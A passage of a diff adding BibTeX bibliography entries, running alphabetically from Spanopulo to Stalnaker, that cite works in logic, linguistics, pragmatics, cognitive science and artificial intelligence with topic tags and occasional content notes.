{209--221}, + topic = {semantic-paradoxes;} + } + +@incollection{ spanopulo-zakharov:1998a, + author = {Vladimir V. Spanopulo and Vladimir A. Zakharov}, + title = {On the Relationship between Models of Parallel Computation}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {237--248}, + address = {Stanford, California}, + topic = {modal-logic;concurrency;} + } + +@article{ sparckjones:1999a, + author = {Karen Sparck Jones}, + title = {Information Retrieval and Artificial Intelligence}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {114}, + number = {1--2}, + pages = {257--281}, + topic = {information-retrieval;} + } + +@book{ sparckjones-etal:2000a, + editor = {Karen Sparck Jones, Gerald Gazdar and Roger Needham}, + title = {Computers, Language and Speech: Formal Theories and + Statistical Data}, + publisher = {British Royal Society}, + year = {2000}, + address = {London}, + contentnote = {TC: + 1. Karen Sparck Jones, Gerald Gazdar and Roger Needham, + "Introduction: Combining Formal Theories and Statistical Data + in Natural Language Processing" + 2. Fernando Pereira, "Formal Grammar and Information Theory: + Together Again?" + 3. Julie Carson-Berndsen, "Finite State Models, Event Logics and + Statistics in Speech Recognition" + 4. Stephen Pulman, "Statistical and Logical Reasoning in + Disambiguation" + 5. Harald Baayen and Robert Schreuder, "Towards a Psycholingistic + Computational Model for Morphological Parsing" + 6. Yoshihiko Gotoh and Stephen Renals, "Information Extraction + from Broadcast News" + 7. Ronald Rosenfeld, "Incorporating Linguistic Structure into + Statistical Language Models" + 8. Mari Ostendorf, "Incorporating Linguistic Theories of + Pronunciation Variation into Speech Recognition Models" + 9. Geoffrey Sampson, "The role of Taxonomy in Language + Engineering" + 10. Hiyan Alshawi and Shona Douglas, "Learning Dependency + Transduction Models from Unannotated Examples" + 11. Jon Oberlander and Chris Brew, "Stochastic Text Generation" + 12. Stephen Young, "Probabilistic Models in Spoken Dialogue + Systems" + 13. Paul Taylor, "Concept-to-Speech Synthesis by Phonological + Structure Matching" + 14. Kathleen McKeown and Shimei Pan, "Prosody Modelling in + Concept-to-Speech Generation: Methodological Issues" + } , + extrainfo = {Papers from a Royal Society/British Academy Discussion + Meeting}, + note = {Philosophical Transactions of the Royal Society, Series A: + Mathematical, Physical and Engineering Sciences, Volume 358, + Issue 1769, April 2000.}, + topic = {nl-processing;speech-acts;} + } + +@article{ spector-hendler:1987a, + author = {Lee Spector and James Hendler}, + title = {Review of {\it Minimal Rationality}, by {C}hristopher + {C}herniak}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {39}, + number = {1}, + pages = {137--139}, + xref = {Review of cherniak:1986a.}, + topic = {limited-rationality;} + } + +@techreport{ spector-etal:1990a, + author = {Lee Spector and James Hendler and M. Evett}, + title = {Knowledge Representation in {\sc parka}}, + institution = {Computer Science Department, University of + Maryland}, + number = {CS--TR--2410}, + year = {1990}, + address = {College Park, Maryland}, + missinginfo = {A's 1st name}, + topic = {kr;inheritance-theory;} + } + +@incollection{ spelke:1990a, + author = {Elizabeth S. Spelke}, + title = {Origins of Visual Knowledge}, + booktitle = {An Invitation to Cognitive Science. Volume + 2: Visual Cognition and Action}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {99--127}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-psychology;human-vision;visual-reasoning;} + } + +@article{ spencer:1971a, + author = {Mary Spencer}, + title = {Why the `S' in `Intension'?}, + journal = {Mind}, + year = {1971}, + volume = {80}, + number = {317}, + pages = {114--115}, + contentnote = {The author ascribes the term to Hamilton, who got it from + Leibniz.}, + topic = {intensionality;} + } + +@book{ spencer:1991a, + author = {Andrew Spencer}, + title = {Morphological Theory}, + publisher = {Cambridge University Press}, + year = {1991}, + address = {Cambridge, England}, + topic = {morphology;} , + } + +@book{ spencersmith-torrance:1992a, + editor = {Richard Spencer-Smith and Steve Torrance}, + title = {Machinations: Computational Studies of Logic, Language, + and Cognition}, + publisher = {Ablex Publishing Corporation}, + year = {1992}, + address = {Norwood, New Jersey}, + ISBN = {0893916552}, + topic = {logic-in-cs;foundations-of-cognitive-science;} + } + +@incollection{ sperber-wilson_d:1981a, + author = {Dan Sperber and Deirdre Wilson}, + title = {Irony and the Use-Mention Distinction}, + booktitle = {Radical Pragmatics}, + publisher = {Academic Press}, + year = {1981}, + editor = {Peter Cole}, + pages = {295--318}, + address = {New York}, + topic = {irony;} + } + +@incollection{ sperber-wilson_d:1982b, + author = {Dan Sperber and Deirdre Wilson}, + title = {Mutual Knowledge and Relevance in Theories of + Comprehension}, + booktitle = {Mutual Knowledge}, + publisher = {Academic Press}, + year = {1982}, + editor = {N.V. Smith}, + pages = {61--85}, + address = {London}, + topic = {mutual-beliefs;discourse;relevance-theory;pragmatics;} + } + +@book{ sperber-wilson_d:1986a, + author = {Dan Sperber and Deirdre Wilson}, + title = {Relevance}, + publisher = {Harvard University Press}, + year = {1986}, + address = {Cambridge, Massachusetts}, + xref = {For critical comments, see gazdar-good:1982a. + Reviews: levinson_sc:1989.}, + topic = {implicature;pragmatics;relevance-theory;context;} + } + +@article{ sperber-wilson_d:1986b, + author = {Dan Sperber and Deirdre Wilson}, + title = {Loose Talk}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1986}, + volume = {86}, + pages = {153--171}, + missinginfo = {specific topic}, + topic = {speaker-meaning;} + } + +@article{ sperber-wilson_d:1987a, + author = {Dan Sperber and Deirdre Wilson}, + title = {Pr\'ecis of Relevance: Communication and Cognition}, + journal = {Behavioral and Brain Sciences}, + year = {1987}, + volume = {10}, + pages = {697--754}, + missinginfo = {number}, + contentnote = {Comments by: + 1. Jonathan E. Adler + 2. Kent Bach and Robert Harnish + 3. Diane Blakemore + 4. Robyn Carlson + 5. Herbert H. Clark + 6. Anne Cutler + 7. Martin Davies + 8. Richard Gerrig + 9. Raymond W. Gibbs, Jr. + 10. Liliane Hagerman + 11. Ruth Kempson + 12. John MacNamara + 13. Ruth Garrett Millikan + 14. Jerry L. Morgan and Georgia M. Green + 15. Phillip Pettit + 16. Anne Reboul + 17. Fran\c{c}ois Rencanati + 16. Stuart J. Russell + 17. Pieter A.M. Seuren + 18. Carlota S. Smith + 19. N.V. Smith + 20. Yorik Wilks + }, + topic = {implicature;pragmatics;relevance-theory;context;} + } + +@incollection{ sperber:1994a, + author = {Dan Sperber}, + title = {Understanding Verbal Understanding}, + booktitle = {What is Intelligence?}, + publisher = {Cambridge University Press}, + year = {1994}, + editor = {Jean Khalfa}, + pages = {179--198}, + address = {Cambridge, England}, + topic = + {philosophy-of-mind;foundations-of-cognition;philosophy-of-mind; + foundations-of-linguistics;} + } + +@book{ sperber-etal:1995a, + author = {Dan Sperber and David Premack and Ann James Premack}, + title = {Causal Cognition: A Multidisciplinary Debate}, + publisher = {Oxford University Press}, + year = {1995}, + address = {Oxford}, + topic = {causality;cognitive-psychology;} + } + +@book{ sperber-etal:1996a, + author = {Dan Sperber and David Premack and James Premack}, + title = {Causal Cognition}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + topic = {causality;cognitive-psychology;} + } + +@incollection{ sperber-wilson_d:1998a, + author = {Dan Sperber and Deirdre Wilson}, + title = {Irony and Relevance: A Reply to {S}an}, + booktitle = {Relevance Theory: Applications and Implications}, + publisher = {John Benjamins Publishing Co.}, + year = {1998}, + editor = {Robyn Carston and Seiji Uchida}, + pages = {283--293}, + address = {Amsterdam}, + topic = {relevance-theory;irony;} + } + +@incollection{ sperbergmcqueen:1994a, + author = {C.M. Sperberg-McQueen}, + title = {The Text-Encoding Initiative}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {409--427}, + address = {Pisa and Dordrecht}, + topic = {corpus-linguistics;text-encoding-initiative;} + } + +@book{ sperschneider-antoniou:1991a, + author = {V. Sperschneider and Grigoris Antoniou}, + title = {Logic : A Foundation for Computer Science}, + publisher = {Addison-Wesley}, + year = {1991}, + address = {Reading, Massachusetts}, + ISBN = {0201565145}, + contentnote = {TC: + I. Predicate Logic + 1. Syntax of Predicate Logic + 2. Semantics of Predicate Logic + 3. Proof Theory + 4. Predicate Logic with Equality + 5. Basic Concepts from Model Theory + 6. Many-Sorted Logics + II. Logic Programming and Prolog + 7. Horn Logic + 8. Steps Toward Programming in Logic + 9. Verification of Logic Programs + 10. Procedural Interpretation fo Horn Logic and Steps toward Prolog + III. Logic of Equations and Abstract Data Types + 11. Logic of Equations + 12. Algebraic Specification of Abstract Data Types + 13. Term Rewriting Systems + IV. Program Verification and Hoare Logic + 14. Program Correctness + 15. Hoare Logic + 16. Completeness of Hoare Logic + 17. Recursive Procedures and Data Type Declarations + 18. Verification of Modules + } , + topic = {logic-in-cs;logic-in-cs-intro;} + } + +@article{ spielman:1976a, + author = {Stephen Spielman}, + title = {Exchangeablity and the Certainty of Objective Randomness}, + journal = {Journal of Philosophical Logic}, + year = {1976}, + volume = {5}, + number = {3}, + pages = {399--406}, + topic = {randomness;} + } + +@article{ spielman:1976b, + author = {Stephen Spielman}, + title = {Carnap's Robot and Inductive Logic}, + journal = {Journal of Philosophical Logic}, + year = {1976}, + volume = {5}, + number = {3}, + pages = {407--415}, + topic = {induction;} + } + +@incollection{ spies:1991a, + author = {Marcus Spies}, + title = {Managing Uncertainty in Environmental Analysis: An Application + to Measurement Data Application}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {323--327}, + address = {Berlin}, + topic = {reasoning-about-uncertainty;} + } + +@book{ spirtes-etal:1993a, + author = {Peter Spirtes and Clark Glymour and Richard Scheines}, + title = {Causation, Prediction, and Search}, + publisher = {Springer-Verlag}, + year = {1993}, + address = {Berlin}, + topic = {causality;probabilistic-reasoning;} + } + +@book{ spirtes-etal:2000a, + author = {Peter Spirtes and Clark Glymour and Richard Scheines}, + title = {Causation, Prediction, and Search}, + edition = {2}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-19440-6}, + topic = {causality;probabilistic-reasoning;} + } + +@article{ spohn:1975a, + author = {Wolfgang Spohn}, + title = {An Analysis of {H}ansson's Dyadic Deontic Logic}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {2}, + pages = {237--252}, + topic = {deontic-logic;} + } + +@article{ spohn:1977a, + author = {Wolfgang Spohn}, + title = {Where {L}uce and {K}rantz Really Do Generalize {S}avage's + Decision Model}, + journal = {Erkenntnis}, + year = {1977}, + volume = {11}, + pages = {113--134}, + missinginfo = {number}, + topic = {decision-theory;} + } + +@article{ spohn:1980a, + author = {Wolfgang Spohn}, + title = {Stochastic Independence, Causal Independence, and + Shieldability}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {1}, + pages = {73--99}, + topic = {causal-independence;} + } + +@article{ spohn:1986a, + author = {Wolfgang Spohn}, + title = {The Representation of {P}opper Measures}, + journal = {Topoi}, + year = {1986}, + volume = {5}, + pages = {69--74}, + missinginfo = {number}, + topic = {primitive-conditional-probability;} + } + +@incollection{ spohn:1988a, + author = {Wolfgang Spohn}, + title = {Ordinal Conditional Functions: A Dynamic Theory of + Epistemic States}, + booktitle = {Causation in Decision, Belief Change, and Statistics, + Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + editor = {William L. Harper and Brian Skyrms}, + pages = {105--134}, + address = {Dordrecht}, + topic = {belief-revision;probability;} + } + +@incollection{ spohn:1990a, + author = {Wolfgang Spohn}, + title = {A General Non-Probabilistic Theory of Inductive Reasoning}, + booktitle = {Uncertainty in Artificial Intelligence, Volume 4}, + publisher = {Springer-Verlag}, + year = {1990}, + editor = {Max Henrion and Ross D. Shachter and L.N. Kanal and J.F. + Lemmer}, + address = {Berlin}, + missinginfo = {pages}, + topic = {qualitative-probability;induction;} + } + +@unpublished{ sproat:1975a, + author = {Richard Sproat}, + title = {Constituent-Based Morphological Parsing}, + year = {1975}, + note = {Unpublished manuscript, Department of Linguistics and + Philosophy, MIT}, + missinginfo = {Date is a guess.}, + topic = {parsing-algorithms;computational-morphology;} + } + +@book{ sproat:1992a, + author = {Richard Sproat}, + title = {Morphology and Computation}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + topic = {morphology;computational-morphology;} + } + +@article{ sproat-etal:1996a, + author = {Richard W. Sproat and Chilin Shih and William Gale + and Nancy Chang}, + title = {A Stochastic Finite-State Word-Segmentation Algorithm for + Chinese}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {3}, + pages = {377--404}, + topic = {finite-state-nlp;word-segmentation;Chinese-language;} + } + +@inproceedings{ sproat-riley:1996a, + author = {Sproat and Riley}, + title = {Compilation of Weighted Finite-State Transducers from + Decision Trees}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {215--222}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {speech-recognition;weighted-finite-state-automata;} + } + +@book{ sproat:2000a, + author = {Richard Sproat}, + title = {A Computational Theory of Writing Systems}, + publisher = {Cambridge University Press}, + year = {2000}, + address = {Cambridge, England}, + ISBN = {0-521-663490-7}, + xref = {Review: beesley:2001a.}, + topic = {writing-systems;nl-processing;} + } + +@article{ sproull:1980a, + author = {Robert Sproull}, + title = {Review of {\it Artificial Intelligence and Pattern + Recognition in Computer Aided Design}, edited by {J}.{C}. + {L}atombe}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {15}, + number = {1--2}, + pages = {125--126}, + xref = {Review of latombe:1978a.}, + topic = {computer-aided-design;pattern-matching;} + } + +@incollection{ spyns-etal:1997a, + author = {P. Spyns and F. Deprez and L. van Tichelen and B. + van Coile}, + title = {A Practical Message-to-Speech Strategy + for Dialogue Systems}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {41--47}, + address = {New Brunswick, New Jersey}, + missinginfo = {A's 1st names}, + topic = {computational-dialogue;nl-generation;} + } + +@article{ sridhar:1990a, + author = {S.N. Sridhar}, + title = {What are Applied Linguistics?}, + journal = {Studies in the Linguistic Sciences}, + year = {1990}, + volume = {20}, + number = {2}, + pages = {165--176}, + topic = {applied-linguistics;} + } + +@article{ srihari-bozinovic:1987a, + author = {Sargur N. Srihari and Radmilo M. Bo\v{z}inovi\'{c}}, + title = {A Multi-Level Perception Approach to Reading Cursive + Script}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {33}, + number = {3}, + pages = {217--255}, + topic = {computer-vision;computational-reading;} + } + +@unpublished{ srihari-burhans:1999a, + author = {Rohini Srihari and Debra T. Burhans}, + title = {Visual Semantics: Extracting Visual Information + from Text Accompanying Pictures}, + year = {1999}, + note = {Unpublished manuscript, University of Buffalo.}, + topic = {visual-reasoning;multimedia-interpretation;Wordnet;} + } + +@article{ srinivasan_a-etal:1996a, + author = {Ashwin Srinivasan and Steven H. Muggleton and M.J.E. + Sternberg and R.D. King}, + title = {Theories for Mutagenicity: A Study in First-Order and + Feature-Based Induction}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {85}, + number = {1--2}, + pages = {277--299}, + acontentnote = {Abstract: + A classic problem from chemistry is used to test a conjecture + that in domains for which data are most naturally represented by + graphs, theories constructed with inductive logic programming + (ILP) will significantly outperform those using simpler + feature-based methods. One area that has long been associated + with graph-based or structural representation and reasoning is + organic chemistry. In this field, we consider the problem of + predicting the mutagenic activity of small molecules: a property + that is related to carcinogenicity, and an important + consideration in developing less hazardous drugs. By providing + an ILP system with progressively more structural information + concerning the molecules, we compare the predictive power of the + logical theories constructed against benchmarks set by + regression, neural, and tree-based methods. } , + topic = {inductive-logic-programming;computer-assisted-science; + graph-based-reasoning;} + } + +@inproceedings{ srinivasan_v:1991a, + author = {V. Srinivasan}, + title = {Punctuation and Parsing of Real-World Texts}, + booktitle = {Proceedings of Sixth {T}wente Workshop on Language + Technologies}, + editor = {K. Sikkel and A. Nijholt}, + pages = {163--167}, + address = {Enschede, Netherlands}, + year = {1991}, + topic = {punctuation;} + } + +@inproceedings{ srivastav:1991a, + author = {Veneeta Srivastav}, + title = {Uniqueness and Bijection in {WH} Constructions}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {I}}, + year = {1991}, + editor = {Steven Moore and {Adam Zachary} Wyner}, + pages = {231--250}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-quantification;interrogatives;} + } + +@article{ srivastava-etal:1995a, + author = {Joydeep Srivastava and Terry Connolly and Lee Roy Beach}, + title = {Do Ranks Suffice? A Comparison of Alternative Weighting + Approaches in Value Elicitation}, + journal = {Organizational Behavior and Human Decision Processes}, + year = {1995}, + volume = {63}, + number = {1}, + pages = {112--116}, + topic = {preference-elicitation;multiattribute-utility;} + } + +@article{ srivastava-etal:2001a, + author = {Biplav Srivastava and Subbharo Kamphampati and Minh B. Do}, + title = {Planning the Project Management Way: Efficient Planning + by Effective Integration of Causal and Resource Planning + in Real{P}lan}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {131}, + number = {1--2}, + pages = {73--134}, + topic = {scheduling;planning-algorithms;} + } + +@article{ srivastava-etal:2001b, + author = {Biplay Srivastava and Xuan{L}ong Nguyen and Subbarao + Kambhampati and Minh B. Do and Ullas Nambiar and Zaiqing + Nie and Romeo Nigenda and Terry Zimmerman}, + title = {Alt{A}lt: Combining Graphplan and Heuristic State Search}, + journal = {The {AI} Magazine}, + year = {2001}, + volume = {22}, + number = {1}, + pages = {88--90}, + topic = {planning;planning-algorithms;planning-systems;} + } + +@article{ staab:2001a, + author = {Steffen Staab}, + title = {From Binary Temporal Relations to Non-Binary Ones and Back}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {128}, + number = {1--2}, + pages = {1--29}, + topic = {temporal-reasoning;abstraction;granularity;} + } + +@article{ staab-maedche:2001a, + author = {Steffen Staab and Alexander Maedche}, + title = {Knowledge Portals: Ontologies at Work}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {22}, + number = {2}, + pages = {63--75}, + topic = {information-retrieval;computational-ontology;} + } + +@incollection{ stabler:1989b, + author = {Edward P. {Stabler, Jr.}}, + title = {Syntactic Equality in Knowledge Representation and Reasoning}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {459--466}, + address = {San Mateo, California}, + topic = {kr;theorem-proving;extensions-of-resolution;kr-course;} + } + +@book{ stabler:1992a, + author = {Edward P. {Stabler, Jr.}}, + title = {The Logical Approach to Syntax: Foundations, + Specifications and Implementations of Theories of Government + and Binding}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + ISBN = {0262193159}, + topic = {principle-based-parsing;} + } + +@incollection{ stabler:1997a, + author = {Edward P. Stabler}, + title = {Computing Quantifier Scope}, + booktitle = {Ways of Scope Taking}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Anna Szabolcsi}, + pages = {155--182}, + address = {Dordrecht}, + topic = {nl-quantifier-scope;nl-quantifiers;} + } + +@incollection{ stabler:1997b, + author = {Edward Stabler}, + title = {Derivational Minimalism}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {68--95}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;} + } + +@article{ stachniak:1988a, + author = {Zbigniew Stachniak}, + title = {Two Theorems on Many-Valued Logics}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {2}, + pages = {171--179}, + topic = {finite-matrix;} + } + +@article{ stachniak:1989a, + author = {Zbigniew Stachniak}, + title = {Many-Valued Computational Logics}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {3}, + pages = {257--274}, + topic = {multi-valued-logic;} + } + +@article{ stachniak:1995a, + author = {Zbigniew Stachniak}, + title = {Nonmonotonic Theories and Their Axiomatic Varieties}, + journal = {Journal of Logic, Language, and Information}, + year = {1995}, + volume = {4}, + number = {4}, + pages = {317--334}, + contentnote = {Abstract model theory of nonmonotonic logics. + Introduces idea of axiomatic variety -- all possible ways a + theory can be axiomatized. This produces a better relation + between abstract consequence and theories.}, + topic = {non-monotonic-logic;} + } + +@book{ stachniak:1996a, + author = {Zbigniew Stachniak}, + title = {Resolution Proof Systems: An Algebraic Theory}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + address = {Dordrecht}, + ISBN = {0792340175 (hb)}, + topic = {theorem-proving;resolution;} + } + +@inproceedings{ stachniak:1998a, + author = {Zbigniew Stachniak}, + title = {Non-Clausal Reasoning with Propositional Theories}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {296--307}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {many-valued-logics;theorem-proving;} + } + +@article{ stachow:1976a, + author = {Ernst-Walter Stachow}, + title = {Completeness of Quantum Logic}, + journal = {Journal of Philosophical Logic}, + year = {1976}, + volume = {5}, + number = {2}, + pages = {237--280}, + topic = {quantum-logic;} + } + +@article{ stachow:1977a, + author = {Ernst-Walter Stachow}, + title = {How Does Quantum Logic Correspond to Physical Reality?}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {4}, + pages = {485--496}, + topic = {quantum-logic;} + } + +@article{ stachow:1978a, + author = {E.-W. Stachow}, + title = {Quantum Logical Calculi and Lattice Structures}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {3}, + pages = {347--386}, + topic = {quantum-logic;} + } + +@article{ stahovich-etal:1998a, + author = {Thomas Stahovich and Randall Davis and Howard Shrobe}, + title = {Generating Multiple New Designs from a Sketch}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {104}, + number = {1--2}, + pages = {211--264}, + topic = {case-based-reasoning;computer-aided-design; + reasoning-with-diagrams;} + } + +@article{ stahovich-etal:2000a, + author = {Thomas F. Stahovich and Randall Davis and Howard Shrobe}, + title = {Qualitative Rigid-Body Mechanics}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {119}, + number = {1--2}, + pages = {19--60}, + topic = {qualitative-physics;} + } + +@article{ stainton:1995a, + author = {Robert J. Stainton}, + title = {Non-Sentential Assertions and Semantic Ellipsis}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {3}, + pages = {281--296}, + topic = {nl-semantics;ellipsis;} + } + +@article{ stainton:1998a, + author = {Robert J. Stainton}, + title = {Quantifier Phrases, Meaningfulness `in Isolation', + and Ellipsis}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {4}, + pages = {311--340}, + topic = {nl-quantifiers;ellipsis;} + } + +@article{ stainton:2000a, + author = {Robert S. Stainton}, + title = {The Meaning of `Sentences'\, } , + journal = {No\^us}, + year = {2000}, + volume = {34}, + number = {3}, + pages = {441--454}, + topic = {foundations-of-semantics;philosophy-of-linguistics; + syntactic-categories;} + } + +@article{ stalley:1972a, + author = {R.F. Stalley}, + title = {Intentions, Beliefs, and Imperative Logic}, + journal = {Mind}, + year = {1972}, + volume = {81}, + number = {321}, + pages = {18--28}, + topic = {intention;imperative-logic;} + } + +@article{ stallman-sussman_gj:1977a, + author = {Richard M. Stallman and Gerald J. Sussman}, + title = {Forward Reasoning and Dependency-Directed Backtracking in + a System for Computer-Aided Circuit Analysis}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {9}, + number = {2}, + pages = {135--196}, + topic = {diagnosis;AI-algorithms;backtracking;} + } + +@incollection{ stalnaker:1968a, + author = {Robert C. Stalnaker}, + title = {A Theory of Conditionals}, + booktitle = {Studies in Logical Theory}, + publisher = {Basil Blackwell Publishers}, + year = {1968}, + editor = {Nicholas Rescher}, + pages = {98--112}, + address = {Oxford}, + topic = {conditionals;} + } + +@article{ stalnaker:1970a, + author = {Robert C. Stalnaker}, + title = {Probability and Conditionality}, + journal = {Philosophy of Science}, + year = {1970}, + volume = {37}, + pages = {64--80}, + missinginfo = {number}, + topic = {probability;conditionals;primitive-conditional-probability; + CCCP;Ramsey-test;} + } + +@unpublished{ stalnaker:1970b, + author = {Robert C. Stalnaker}, + title = {Notes on `A Semantic Theory of Adverbs'\,}, + year = {1970}, + note = {Unpublished manuscript, Yale University.}, + topic = {adverbs;} + } + +@article{ stalnaker-thomason_rh:1970a, + author = {Robert C. Stalnaker and Richmond H. Thomason}, + title = {A Semantic Analysis of Conditional Logic}, + journal = {Theoria}, + year = {1970}, + volume = {36}, + pages = {23--42}, + topic = {conditionals;} + } + +@unpublished{ stalnaker:1971a, + author = {Robert C. Stalnaker}, + title = {Acceptance Concepts}, + year = {1971}, + note = {Unpublished manuscript, University of Illinois at Urbana.}, + missinginfo = {Date is a guess.}, + topic = {propositional-attitudes;belief;knowledge;} + } + +@incollection{ stalnaker:1972a, + author = {Robert C. Stalnaker}, + title = {Pragmatics}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {380--397}, + address = {Dordrecht}, + topic = {pragmatics;context;} + } + +@article{ stalnaker:1973a, + author = {Robert C. Stalnaker}, + title = {Presuppositions}, + journal = {Journal of Philosophical Logic}, + year = {1973}, + volume = {2}, + number = {4}, + pages = {447--457}, + topic = {presupposition;pragmatics;} + } + +@article{ stalnaker:1975a1, + author = {Robert C. Stalnaker.}, + title = {Indicative Conditionals}, + journal = {Philosophia}, + year = {1975}, + volume = {5}, + pages = {269--286}, + xref = {Republication: stalnaker:1975a2.}, + topic = {conditionals;conversational-record;pragmatics;} + } + +@incollection{ stalnaker:1975a2, + author = {Robert C. Stalnaker}, + title = {Indicative Conditionals}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {179--196}, + address = {Dordrecht}, + topic = {conditionals;conversational-record;pragmatics;} + } + +@incollection{ stalnaker:1975b, + author = {Robert C. Stalnaker}, + title = {Pragmatic Presuppositions}, + booktitle = {Semantics and Philosophy}, + publisher = {Academic Press}, + year = {1975}, + editor = {Milton K. Munitz and Peter Unger}, + address = {New York}, + missinginfo = {pages}, + topic = {pragmatics;presupposition;} + } + +@incollection{ stalnaker:1979a, + author = {Robert Stalnaker}, + title = {Anti-Essentialism}, + booktitle = {Midwest Studies in Philosophy Volume {V}: + Studies in Metaphysics}, + publisher = {University of Minnesota Press}, + year = {1979}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {343--355}, + address = {Minneapolis}, + topic = {essentialism;modality;} + } + +@incollection{ stalnaker:1980a, + author = {Robert C. Stalnaker}, + title = {A Defense of Conditional Excluded Middle}, + booktitle = {Ifs: Conditionals, Belief, Decision, Chance, and Time}, + publisher = {D. Reidel Publishing Co.}, + year = {1980}, + editor = {William L. Harper and Robert Stalnaker and Glenn Pearce}, + pages = {87--104}, + address = {Dordrecht}, + topic = {conditionals;} + } + +@unpublished{ stalnaker:1980b, + author = {Robert C. Stalnaker}, + title = {Formal Semantics and Philosophical Problems}, + year = {1980}, + note = {Unpublished manuscript, Cornell University.}, + topic = {foundations-of-semantics;conditionals;} + } + +@incollection{ stalnaker:1981a, + author = {Robert C. Stalnaker}, + title = {Assertion}, + booktitle = {Radical Pragmatics}, + publisher = {Academic Press}, + year = {1981}, + editor = {Peter Cole}, + address = {New York}, + topic = {discourse;pragmatics;} + } + +@book{ stalnaker:1984a, + author = {Robert C. Stalnaker}, + title = {Inquiry}, + publisher = {The {MIT} Press}, + year = {1984}, + address = {Cambridge, Massachusetts}, + xref = {Reviews: pendelbury:1987a, cresswell_mj:1987a.}, + topic = {foundations-of-modality;propositional-attitudes;belief-revision; + pragmatics;agent-attitudes;belief;} + } + +@incollection{ stalnaker:1985a, + author = {Robert C. Stalnaker}, + title = {Counterparts and Identity}, + booktitle = {Midwest Studies in Philosophy {XI}}, + publisher = {University of Minnesota Press}, + year = {1985}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {75--120}, + topic = {identity;individuation;} + } + +@incollection{ stalnaker:1986b, + author = {Robert C. Stalnaker}, + title = {Counterparts and Identity}, + booktitle = {Studies in Essentialism}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + publisher = {University of Minnesota Press}, + year = {1987}, + address = {Minneapolis}, + note = {Midwest Studies in Philosophy, 11}, + missinginfo = {pages}, + topic = {individuation;identity;} + } + +@article{ stalnaker:1987a, + author = {Robert C. Stalnaker}, + title = {Semantics for Belief}, + journal = {Philosophical Topics}, + year = {1987}, + volume = {15}, + pages = {117--190}, + missinginfo = {number}, + topic = {epistemic-logic;belief;} + } + +@incollection{ stalnaker:1987b, + author = {Robert C. Stalnaker}, + title = 